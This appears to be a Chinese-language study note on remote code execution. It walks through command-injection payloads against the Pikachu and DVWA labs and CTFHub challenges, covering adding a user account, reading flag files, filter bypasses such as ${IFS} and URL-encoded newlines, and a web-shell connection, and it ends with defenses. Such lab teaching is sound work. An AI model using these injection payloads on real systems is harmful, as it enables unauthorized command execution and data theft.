9-远程代码执行渗透与防御
1、什么是远程代码执行
RCE漏洞是因为提供了命令执行的接口
1.1 漏洞危害
- 获取服务器权限
- 获取敏感数据文件
- 写入恶意文件getshell
- 植入木马病毒勒索软件等
2、RCE涉及函数
3、靶场案例
3.1 Windows命令拼接符号
符号 | 含义 | 示例 |
---|---|---|
&& | 左边的命令执行成功,右边的才执行 | ping 127.0.0.1 && echo 'hello' |
& | 简单的拼接,不依赖前面的结果 | ping 1111 & echo 'hello' |
| | 上一条命令的输出,作为下一条命令的参数 | netstat -ano | findstr 3306 |
|| | 左边的命令执行失败,右边的才会执行 | ping baidu.com || ping baidu.net |
3.2 Linux命令拼接符号
符号 | 含义 | 示例 |
---|---|---|
; | 没有任何逻辑关系的连接符 | |
&& | 左边的命令执行成功,右边的才执行 | cp 1.txt 2.txt && cat 2.txt |
| | 上一条命令的输出,作为下一条命令的参数 | netstat -an | grep 3306 |
|| | 左边的命令执行失败,右边的才会执行 | cat 3.txt || cat 2.txt |
& | 任务后台执行,与nohup命令功能差不多 | java -jar test.jar > log.txt & |
3.3 Pikachu靶场
3.1 exec "ping"
127.0.0.1 & ipconfig
3.2 exec "evel"
phpinfo();
system('ipconfig');
3.4 DVWA靶场
3.4.1 Low
127.0.0.1 & net user hacker /add
3.4.2 Medium
127.0.0.1 & ipconfig
3.4.3 High
过滤了'| '但是后面有空格
127.0.0.1|ipconfig
4、CTF题目(CTFHub)
4.1 eval执行
中国蚁剑连接,密码cmd
4.2 命令注入
127.0.0.1;cat 104731889012324.php|base64
再去网站进行base64解码
4.3 过滤cat
127.0.0.1;less flag_166202473811029.php|base64
绕过:tac从最后一行倒序显示、more根据窗口大小一页页的显示、less和more类似,但是优点是可以往前翻页,而且可以进行搜索字符、head只显示头几行、tail只显示最后几行、nl类似于cat -n显示时输出行号、tailf类似于tail -f
4.4 过滤空格
127.0.0.1;cat${IFS}flag_415086426367.php|base64
绕过:使用${IFS}、%09、<、>、<>、{,}、%20、IFS$9
4.5 过滤目录分隔符
127.0.0.1;cd flag_is_here;cat flag_281272110315443.php|base64
4.6 过滤运算符
没过滤到分号
127.0.0.1;cat 127.0.0.1;cat flag_44302103221895.php
然后右键查看网页源码
4.7 综合过滤练习
绕过:空格=${IFS}、flag=通配符f***、cat=more(less)
在地址栏输入:URL编码(%0a回车、%0d换行)
地址栏:ip=127.0.0.1%0Acd${IFS}f_is_here%0Amore${IFS}f_18329157039374.php
5、RCE防御措施
1、开源框架,升级到最新版本
2、尽量不要使用命令执行的函数
3、如果必须使用,需要做白名单处理
4、用正则表达式对用户输入的内容进行处理
5、使用WAF